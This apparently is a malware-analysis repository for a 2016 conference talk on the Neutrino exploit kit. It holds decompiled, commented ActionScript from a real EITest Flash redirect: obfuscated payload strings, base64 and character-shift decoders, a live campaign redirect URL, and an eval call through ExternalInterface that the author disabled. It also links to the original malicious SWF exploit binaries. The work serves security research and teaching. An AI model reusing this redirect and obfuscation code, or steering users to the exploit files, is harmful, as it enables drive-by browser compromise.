40841CAD8B40200CC5B844EC2963D2AD82851B2FB60B549004CED48B810E75377CD1F032B0FED6CF5657E7115E6A6BD4E29E0DC2050729C90628291FE7F3E1DDB5F07E1F367CBEFAFE8CD647360DBC119EEEAEBBBD6C9654D0C576E345C6C496E599129B7A8348D3ABC0FECE502903AC3300ECD1ACA48DA643884E5913E4E19FED957DAAD8DE24530FCD60C3D485AFD83206BC34738E6184FD02645ECAEBA7F1C3756911872C5B6B3D3569F9AE86137B4A1FEFAE900EF7EC38F2CB14552DD1299BD1E50D4F88319FAEDB8386FB08D874556E2E997291662A308A32276E604410EB2D9FB9EAD2B254F30B678D7B9EF325E0F6067EDFBF446DBCAB1B71F57BE6DB6A07BF107C123538AEC9B32AF26E2D14857D8BDF6481E9E0F4B31C6DE74BD92BB04DD9191DEC0C60561EF61132750D4E8842BA6ED92FA36228845D78CC12A115808C6839ECF8F3BE1F022EC7C05521507434038BC7B12314B3A9E6C4B391CC4F7053F4EE9F734A8BAF9EC519ED73025C7FAA91E6E3AEE1FB294BC5B45A9ED6499A172B057CC74F0409F38988BAED3210E6996C08645F1D8B9088344B0FE0A3404741E91A68DFD1776B4CF34C10F25F0A04AEAC2BAE482A255A71D339DD9DFE8F579FCDA70033138D68BD60922613EE6BFA25D860DD600ED8551A155AE1C0DC5A8ADB8A00E922C337B95C082AA169930995D3E436CDBC24D97D8561E113EEA16AC00B12FF685BA7100CEF47077C4448ED4A58D8A4745265FA22DBAF9BA8A4E8CB04F0B525F748140D62CEE1EB03FE2BA0FB86B4876E1B878158E6137A3844F28173715DBE7DEC51E4F8065B0E745E3A3BA0207BACBB62098DCE8447F5A5DB1F499BF005D1F2211301E2671D516A0D333D73360C341983C768007BB70DF1D6C471A7D7A8BBF722E878B9AE29BA923229E0B12C8FB5377EE4C76BC0A7E1BA528C325C81D9630EF4896BE09B60BE3FAFA01FD24673E52AC1097FBBD3323A6A6E0DF36FC7E5BC783B5B4AE820502BABA7586E116F442DF2CDB6DDFA86ECF796D8E3E6CCAA8D9BF653ED66DD3F7202D39725488095D43EFD9158A295E95945CDF75717AF1EBE981FE7F06DC47D65FECF95CE2D62FD2EF061E2E5E9E94852443BD0E9C64FC27D7D5D0F12517D27A0CB40E69BEBE4A92E1707960381DA942F77FC92A430E949ECFD8448BFAF6E775D4FCF6378C8BAD3A1DA6FD381319A26B32026BB554925D8898820582693D5F7E0104CCB8DB4284011564F47FE997698373FC3C368F0AEB3265098533073A4DDD5C106C82628A749F0367C826EA933E256428D6D92747EE6D31F6C35BB3E16D0221266D5DBA19EC7455A40E33017B94CF87D83BA29FEA43DBF293CFBBE09762A09162B368529444619FE01A93E2A35D6526D2853166B594851DA6B3AAB92EF2587A19857B5490574D4A63D5DC9056E4A8EEF8CAF628EE1A0259C37A60A46689A063A1438776E1B3AB101C250B71F2984388A5062D0ED238C2AD27555282AF0B1E9A3AA267F21149E9706B922255E709D19AE5212AC7BAE1F78A284C0E3778E83DA557CE72C1A4C4E9F802A1F39F97FF07096535A48FBE245CE2C8387B14ABA9C2F4DB68615CDBFFAF3D1F9DFE9E33A07A58FA0651A4BF5323D796F5A2BA3BF2DC27049154B5702F3F21476E272A9720037F07F6C278AD28E91C8E5B72F6ED84B214DEB0935B0BC5AC58BD68906D3AA79C8767370FC3F798EDE3F6E2F472860362445D1ED533608A39B151EC176CA2E19FB73B9A8BDD0FDF287DBB9A766F638F9719C59894B1F26B2AA00AB58BFD6E3C8CBE537D0A9188095D26A175BFEF098E1B16BA86887E6544B63B795A21179353154A10F44AB50ED3C89D4C2BCEEA4243A2AD38F5656E090B8A4E419EAD6B0CB632EA5E314EA521708F0B44F31F4ECBC6F285E2D64EC11B7886D96950251D565E833D171596FF5B883162ABA77B32CF7E417326E4B65A9A983AD2D07655F0BE2DE640AB16C2C1E9E5305FFBA855F3E4CD884F076B3CA1A7F2CF9EA1A30BF192E08FF0B1CE65148F824D657B46A56B5521B76EBBE613E9A164D8704CCE45733E38EB62DC63E688335B77C095453820689C9FC7E37529B82540175B7F3BAFC68D6ED411DB1F48E906A02FBB6EEE17D223824925CBC1CE3A785CBE63D3BE31A8AAF81F087889C9795D39730BE0DB01846FAFE5B1AB44A3E553D2A3E5234538840CBE9FFDD71F2A20387D2B457686A0CF57B36D8E2DBD25F2DD2ABAAE45C3EACF5F5A8C9AA6AB0D275F475AB6CB36037CD4793BFA3882B56DB7F40A5DDF89E0605D885ECC2A7EF9E6F08EAC15DF2872EF973B29D49A9257FE2A3AB022621CA62148CC5B0D2E2976475DACF53B22DCFFAEBE676C67E12382CB88C0DCD79F0A6FB1ACEFDBEF755CBCD8188203A6F361A3B95E716C47EFBAAAAD4D6AF611BDBEE1722D5C3256DDE457A8224D87804A22CFD9CBF008862F06CA0366F38898216578C35D186A1C049E22B5FE7DB90EDE48CFCD24F3E923B84290F9D1E6E216A26120948E0BA3AA434751BCDCA406FCE802B621B17DF08AD8BC98A779FA706D1830659D79B84F231BC3DE0BCB83C8203E828D8CC1C7547CBFE0BB83EC6A324A46E8DDD6F1F9B4655D");
31 | _loc3_ = class_2.method_2(_loc3_,this.var_8); // Decode the ByteArray
32 | _loc3_.uncompress("deflate"); // Decompress the decoded ByteArray
33 | var _loc4_:String = _loc3_.toString(); //
34 | //ExternalInterface.call("function (){" + _loc4_ + "}"); // Create the code to execute
35 | trace(_loc4_);
36 | }
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Exposing the Neutrino EK: All the Naughty Bits
2 |
3 | This repo contains the reference materials (mostly commented code) associated with my BSides Las Vegas 2016 talk entitled "Exposing the Neutrino EK: All the Naughty Bits."
4 |
5 | **NOTE: This repo includes commented ActionScript (AS) code that was extracted from malicious software. Please do not attempt to compile and execute this code without taking proper precautions. If you are not familiar with running malicious code within a virtual malware analysis machine, you might want to simply review the code using a text editor vs. a proper Adobe Flash IDE.** -- *You've been warned*
6 |
7 | NOTE 2: I took over 2 months to post this code to GitHub. I intended to clean up the code, add more comments, etc. But that never happened. Sadly (or... luckily?), [Neutrino seems to have closed up shop](http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html). As such, I decided to post the code now so that anyone interested could review while awaiting the next new wave of EKs. Hope this helps!
8 |
9 | ---
10 |
11 | # The Talk
12 |
13 | ``The Angler Exploit Kit (EK) is now dead. In the wake of Angler's death, Neutrino has taken the lion's share of the EK market. As such, Neutrino has evolved into one of the most critical threats to users of the Information Superhighway. Try as we might, we simply cannot avoid our users from being redirected to EK landing pages. The simple question is: WHY DAMNIT?! This talk focuses on the ins and outs of the new king of the hill: Neutrino. We will discuss the modern EK along with Neutrino's dominance. We will then break down exactly how Neutrino works: We'll start with compromised site redirection methods, rock some landing page de-obfuscation, have fun reversing Flash, and end with exploit + shellcode analysis. If you'd like to know exactly how this little bastard does its dirty work, bring your butt to the talk!``
14 |
15 | ## The Video
16 |
17 | You can find the recorded presentation on YouTube:
18 |
19 | [Exposing the Neutrino EK: All the Naughty Bits - Ryan Chapman](https://www.youtube.com/watch?v=gqmHd_mZ2P0 "Exposing the Neutrino EK: All the Naughty Bits - Ryan Chapman")
20 | https://www.youtube.com/watch?v=gqmHd_mZ2P0
21 |
22 | ---
23 |
24 | # Tools
25 |
26 | The bulk of this repo's content is based on [FlashDevelop](http://www.flashdevelop.org/ "FlashDevelop") projects. Thus, you will most likely want to download the latest copy of the tool in order to open these projects.
27 |
28 | [FlashDevelop Website](http://www.flashdevelop.org/ "FlashDevelop Website")
29 |
30 | Of course, you can always just view the `.as` files in a text editor.
31 |
32 | All ActionScript code was extracted using [Free Flash Decompiler (FFDec)](https://www.free-decompiler.com/flash/). I suggest grabbing this bad boy and playing around with it to become familiar with how to extract AS from .SWF files.
33 |
34 | ---
35 |
36 | # The Files
37 |
38 | My research began with a dump from [Malware-Traffic-Analysis.net](http://malware-traffic-analysis.net/2016/07/13/index.html) (http://malware-traffic-analysis.net/2016/07/13/index.html). When you hit this link, check out the [2016-07-13-Neutrino-EK-dump-malware-and-artifacts.zip](http://malware-traffic-analysis.net/2016/07/13/2016-07-13-Neutrino-EK-dump-malware-and-artifacts.zip) file. In this file, look for the `2016-07-13-EITest-flash-redirect-from-hemmox.xyz.swf` and `2016-07-13-EITest-Neutrino-EK-flash-exploit.swf` artifacts. These were my starting points.
39 |
40 | Based on this foundation, I created FlashDevelop projects in the following order:
41 | 1. `eitest_redirect` - AS code extracted from the `2016-07-13-EITest-flash-redirect-from-hemmox.xyz.swf` file from malware-traffic-analysis.net. This is the EITest campaign redirect code that links to an HTML page, which then links to the first stage of the Neutrino exploit (see below).
42 | 2. `Neutrino_Stage1` - AS code extracted from the `2016-07-13-EITest-Neutrino-EK-flash-exploit.swf` file. This is the first stage of the exploit. This SWF extracts a secondary SWF into memory and then passes important arguments to the secondary SWF for further processing.
43 | 3. `Neutrino_Stage2` - AS code extracted from the secondary stage, which is the SWF file extracted into memory by `2016-07-13-EITest-Neutrino-EK-flash-exploit.swf`. This is the *real* Neutrino payload.
44 | 4. `flash_exploit1` - The `2016-07-13-EITest-Neutrino-EK-flash-exploit.swf` file, the real Neutrino "bad boy," extracts multiple SWF exploits into memory to exploit the host. I chose the first SWF-based exploit for analysis, the source code of which resides in this project.
45 |
--------------------------------------------------------------------------------
/eitest_redirect/bin/eitestredirect.swf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rj-chap/ExposingNeutrino/f1cb06dc6d97aa5fb8588d923d3105f4c8196ed0/eitest_redirect/bin/eitestredirect.swf
--------------------------------------------------------------------------------
/eitest_redirect/bin/expressInstall.swf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rj-chap/ExposingNeutrino/f1cb06dc6d97aa5fb8588d923d3105f4c8196ed0/eitest_redirect/bin/expressInstall.swf
--------------------------------------------------------------------------------
/eitest_redirect/bin/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | eitest_redirect
6 |
7 |
8 |
9 |
29 |
33 |
34 |
35 |
36 |
eitest_redirect
37 |
Get Adobe Flash player
38 |
39 |
40 |
--------------------------------------------------------------------------------
/eitest_redirect/bin/js/swfobject.js:
--------------------------------------------------------------------------------
1 | /* SWFObject v2.2
2 | is released under the MIT License
3 | */
4 | var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab
2 |
3 |
4 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
--------------------------------------------------------------------------------
/eitest_redirect/eitest_redirect_html_namer.js:
--------------------------------------------------------------------------------
1 | for (rock_it = 0; rock_it < 20; rock_it++) {
2 | var arr = ['html', 'htm', 'jpeg', 'png', 'jpg', 'gif', 'js'];
3 | var keylist = 'abcdefghijklmnopqrstuvwxyz';
4 | var temp = '';
5 | var rand = Math.floor(Math.random() * arr.length);
6 | temp = '';
7 | plength = Math.floor(Math.random() * (10 - 3 + 1)) + 3;
8 | for (i = 0; i < plength; i++) temp += keylist.charAt(Math.floor(Math.random() * keylist.length));
9 | temp += '.' + arr[rand];
10 | print(temp);
11 | }
12 |
--------------------------------------------------------------------------------
/eitest_redirect/obj/eitest_redirectConfig.old:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 18.0
6 | false
7 | true
8 |
9 |
10 | CONFIG::debug
11 | true
12 |
13 |
14 | CONFIG::release
15 | false
16 |
17 |
18 | CONFIG::timeStamp
19 | '7/29/2016'
20 |
21 |
22 | CONFIG::air
23 | false
24 |
25 |
26 | CONFIG::mobile
27 | false
28 |
29 |
30 | CONFIG::desktop
31 | false
32 |
33 | true
34 |
35 | C:\Users\REM\Documents\eitest_redirect\src
36 | C:\Program Files\FlashDevelop\Library\AS3\classes
37 |
38 |
39 |
40 | C:\Users\REM\Documents\eitest_redirect\src\Main.as
41 |
42 | #FFFFFF
43 | 30
44 |
45 | 800
46 | 600
47 |
48 |
--------------------------------------------------------------------------------
/eitest_redirect/obj/eitest_redirectConfig.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 18.0
6 | false
7 | true
8 |
9 |
10 | CONFIG::debug
11 | true
12 |
13 |
14 | CONFIG::release
15 | false
16 |
17 |
18 | CONFIG::timeStamp
19 | '7/29/2016'
20 |
21 |
22 | CONFIG::air
23 | false
24 |
25 |
26 | CONFIG::mobile
27 | false
28 |
29 |
30 | CONFIG::desktop
31 | false
32 |
33 | true
34 |
35 | C:\Users\REM\Documents\eitest_redirect\src
36 | C:\Program Files\FlashDevelop\Library\AS3\classes
37 |
38 |
39 |
40 | C:\Users\REM\Documents\eitest_redirect\src\Main.as
41 |
42 | #FFFFFF
43 | 30
44 |
45 | 800
46 | 600
47 |
48 |
--------------------------------------------------------------------------------
/eitest_redirect/src/Main.as:
--------------------------------------------------------------------------------
1 | package
2 | {
3 | import flash.display.Sprite;
4 | import flash.events.Event;
5 | import flash.display.MovieClip;
6 | import flash.external.ExternalInterface;
7 |
8 | /**
9 | * ...
10 | * @author BSLV16 rocks!
11 | */
12 | public class Main extends Sprite
13 | {
14 |
15 | public function Main()
16 | {
17 | if (stage) init();
18 | else addEventListener(Event.ADDED_TO_STAGE, init);
19 | }
20 |
21 | private function init(e:Event = null):void
22 | {
23 | removeEventListener(Event.ADDED_TO_STAGE, init);
24 | // entry point
25 | var get_it_gurl:* = new zjxjpdbmsp();
26 | get_it_gurl.zjxjpdbmsp();
27 | }
28 |
29 | }
30 |
31 | }
--------------------------------------------------------------------------------
/eitest_redirect/src/uqmhcsrux.as:
--------------------------------------------------------------------------------
1 | package
2 | {
3 | import flash.display.MovieClip;
4 | import flash.utils.ByteArray;
5 |
6 | public class uqmhcsrux extends MovieClip
7 | {
8 |
9 | private static const rwvqso:String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
10 |
11 | public function uqmhcsrux()
12 | {
13 | super();
14 | }
15 |
16 | public static function decodeToByteArray(param1:String) : ByteArray
17 | {
18 | var _loc44_:int = 0;
19 | var _loc45_:int = 0;
20 | var _loc3_:String = "write";
21 | var _loc4_:* = "";
22 | var _loc5_:String = "yt";
23 | _loc4_ = _loc3_ + "B" + _loc5_ + "e";
24 | var _loc18_:ByteArray = new ByteArray();
25 | var _loc33_:Array = new Array(4);
26 | var _loc34_:Array = new Array(3);
27 | var _loc43_:* = 0;
28 | while(_loc43_ < param1.length)
29 | {
30 | _loc44_ = 0;
31 | while(_loc44_ < 4 && _loc43_ + _loc44_ < param1.length)
32 | {
33 | _loc33_[_loc44_] = rwvqso.indexOf(param1.charAt(_loc43_ + _loc44_));
34 | _loc44_++;
35 | }
36 | _loc34_[0] = (_loc33_[0] << 2) + ((_loc33_[1] & 48) >> 4);
37 | _loc34_["1"] = ((_loc33_["1"] & 15) << 4) + ((_loc33_["2"] & 60) >> 2);
38 | _loc34_["2"] = ((_loc33_["2"] & 3) << 6) + _loc33_["3"];
39 | _loc45_ = 0;
40 | while(_loc45_ < _loc34_.length)
41 | {
42 | if(_loc33_[_loc45_ + 1] == 64)
43 | {
44 | break;
45 | }
46 | _loc18_[_loc4_](_loc34_[_loc45_]);
47 | _loc45_++;
48 | }
49 | _loc43_ = uint(_loc43_ + 4);
50 | }
51 | _loc18_.position = 0;
52 | return _loc18_;
53 | }
54 |
55 | public function decode(param1:String) : String
56 | {
57 | var _loc17_:ByteArray = decodeToByteArray(param1);
58 | return _loc17_.readUTFBytes(_loc17_.length);
59 | }
60 | }
61 | }
62 |
--------------------------------------------------------------------------------
/eitest_redirect/src/zjxjpdbmsp.as:
--------------------------------------------------------------------------------
1 | package
2 | {
3 | import flash.display.MovieClip;
4 | import flash.external.ExternalInterface;
5 | import flash.events.Event;
6 |
7 | public class zjxjpdbmsp extends MovieClip
8 | {
9 |
10 | public function zjxjpdbmsp()
11 | {
12 | super();
13 | //debug
14 | this.go();
15 | //if(stage)
16 | //{
17 | //this.go();
18 | //}
19 | //else
20 | //{
21 | //addEventListener(Event.ADDED_TO_STAGE,this.go);
22 | //}
23 | }
24 |
25 | public function de(param1:String, param2:int) : String
26 | {
27 | var _loc14_:String = "fromCharCode";
28 | var _loc15_:String = new String();
29 | var _loc16_:* = 0;
30 | while(_loc16_ < param1.length)
31 | {
32 | _loc15_ = _loc15_ + String[_loc14_](cca(param1,_loc16_) - param2);
33 | _loc16_++;
34 | }
35 | return _loc15_;
36 | }
37 |
38 | public function cca(param1:String, param2:Number) : int
39 | {
40 | return param1.charCodeAt(param2);
41 | }
42 |
43 | public function ej(param1:String, param2:String) : String
44 | {
45 | var _loc10_:* = null;
46 | if(ExternalInterface.available)
47 | {
48 | _loc10_ = "call";
49 | return ExternalInterface[_loc10_](param2,param1);
50 | }
51 | return "";
52 | }
53 |
54 | private function gourl() : String
55 | {
56 | //http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/display/LoaderInfo.html#url
57 | //return root.loaderInfo.url;
58 | return "http://hemmox.xyz/hskyrktkffn-0eecfe1krmo3nmnep-nte1trfcipblpkm-b3c7oaafa-f3a1c6mbr-pnkr-m7i5s-dfnaellsbfsrc-1pkfl7amd6m3lr9f8eenl9ra4pkasa9nddlbe7in0ab-omkaofbp8r4bbacd9f1pkm4d9sepm/";
59 | }
60 |
61 | // Function responsible for calling ej() to execute the deobfuscated JS
62 | private function go(param1:Event = null) : void
63 | {
64 | /*DEBUG: The following call to ej() is what makes the magic happen.
65 | * Each call to da() produces some JS. The JS is pushed to ej(), which
66 | * basically runs: ExternalInterface[call]("eval",[actual JS code]);
67 | */
68 | //ej(this.da(1) + gourl() + this.da(2),this.da(3)); <-- Let's just use trace()
69 | trace("Hiya BSLV16 folks! Let's see how this Flash redirect works!");
70 | trace(this.da(1));
71 | trace(gourl());
72 | trace(this.da(2));
73 | trace(this.da(3));
74 | trace('ktxbai');
75 | }
76 |
77 | public function hr(param1:String) : String
78 | {
79 | var _loc18_:uqmhcsrux = new uqmhcsrux();
80 | addChild(_loc18_);
81 | return de(_loc18_.decode(param1),3);
82 | }
83 |
84 | public function da(param1:Number) : String
85 | {
86 | var _loc10_:String = this.hr("bXNudWlzeGVza3JkaW9vanh3aXJnfXJ1fXtsbGVqaGtnd3psfGlpaGptfHJ4fHdpbHUndmh3V2xwaHJ4dytpeHFmd2xycSssfiN5ZHUjZyNAI2dyZnhwaHF3MWZ1aGR3aEhvaHBocXcrKmdseSosPiN5ZHUjeGRAcWR5bGpkd3J1MXh2aHVEamhxdzF3ck9yemh1RmR2aCssPiNsaSMrK3hkMWxxZ2h7UmkrKnB2bGgqLCRAIzA0LCN/fyMreGQxbHFnaHtSaSsqdXk9NDQqLCRAIzA0LCwjfiN5ZHUjZHV1I0AjXiprd3BvKi8qa3dwKi8qbXNoaiovKnNxaiovKm1zaiovKmpsaSovKm12KmA+I3lkdSNuaHxvbHZ3QCpkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ent8fSo+I3lkdSN3aHBzQCoqPiN5ZHUjdWRxZyNAI1Bkd2sxaW9ycnUrUGR3azF1ZHFncnArLCMtI2R1dTFvaHFqd2ssPiN3aHBzQCoqPiNzb2hxandrQFBkd2sxaW9ycnUrUGR3azF1ZHFncnArLCMtIys0MyMwIzYjLiM0LCwjLiM2PiNpcnUjK2xAMz5sP3NvaHFqd2s+bC4uLCN3aHBzLkBuaHxvbHZ3MWZrZHVEdytQZHdrMWlvcnJ1K1Bkd2sxdWRxZ3JwKywtbmh8b2x2dzFvaHFqd2ssLD4jd2hwcy5AKjEqLmR1dV51ZHFnYD4jZzFsZ0AqZnJ4cXdodWJ5ZG94aCo+ZzF2d3xvaDFzcnZsd2xycSNAIypkZXZyb3h3aCo+ZzF2d3xvaDFvaGl3I0AjKjozM3N7Kj5nMXZ3fG9oMXdycyNAIyowNDMzM3N7Kj5nMWxxcWh1S1dQTyNAIyo/bGl1ZHBoI3Z1ZkAlJyoud2hwcy4qJUE/MmxpdWRwaEEqPiNncmZ4cGhxdzFlcmd8MWRzc2hxZ0ZrbG9nK2csPiOAgC84OCw+J2h5ZG8=");
87 | var _loc11_:Array = _loc10_.split("$");
88 | return _loc11_[param1];
89 | }
90 | }
91 | }
92 |
--------------------------------------------------------------------------------
/flash_exploit1/bin/expressInstall.swf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rj-chap/ExposingNeutrino/f1cb06dc6d97aa5fb8588d923d3105f4c8196ed0/flash_exploit1/bin/expressInstall.swf
--------------------------------------------------------------------------------
/flash_exploit1/bin/flashexploit1.swf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rj-chap/ExposingNeutrino/f1cb06dc6d97aa5fb8588d923d3105f4c8196ed0/flash_exploit1/bin/flashexploit1.swf
--------------------------------------------------------------------------------
/flash_exploit1/bin/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | flash_exploit1
6 |
7 |
8 |
9 |
29 |
33 |
34 |
35 |
36 |
flash_exploit1
37 |
Get Adobe Flash player
38 |
39 |
40 |
--------------------------------------------------------------------------------
/flash_exploit1/bin/js/swfobject.js:
--------------------------------------------------------------------------------
1 | /* SWFObject v2.2
2 | is released under the MIT License
3 | */
4 | var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var 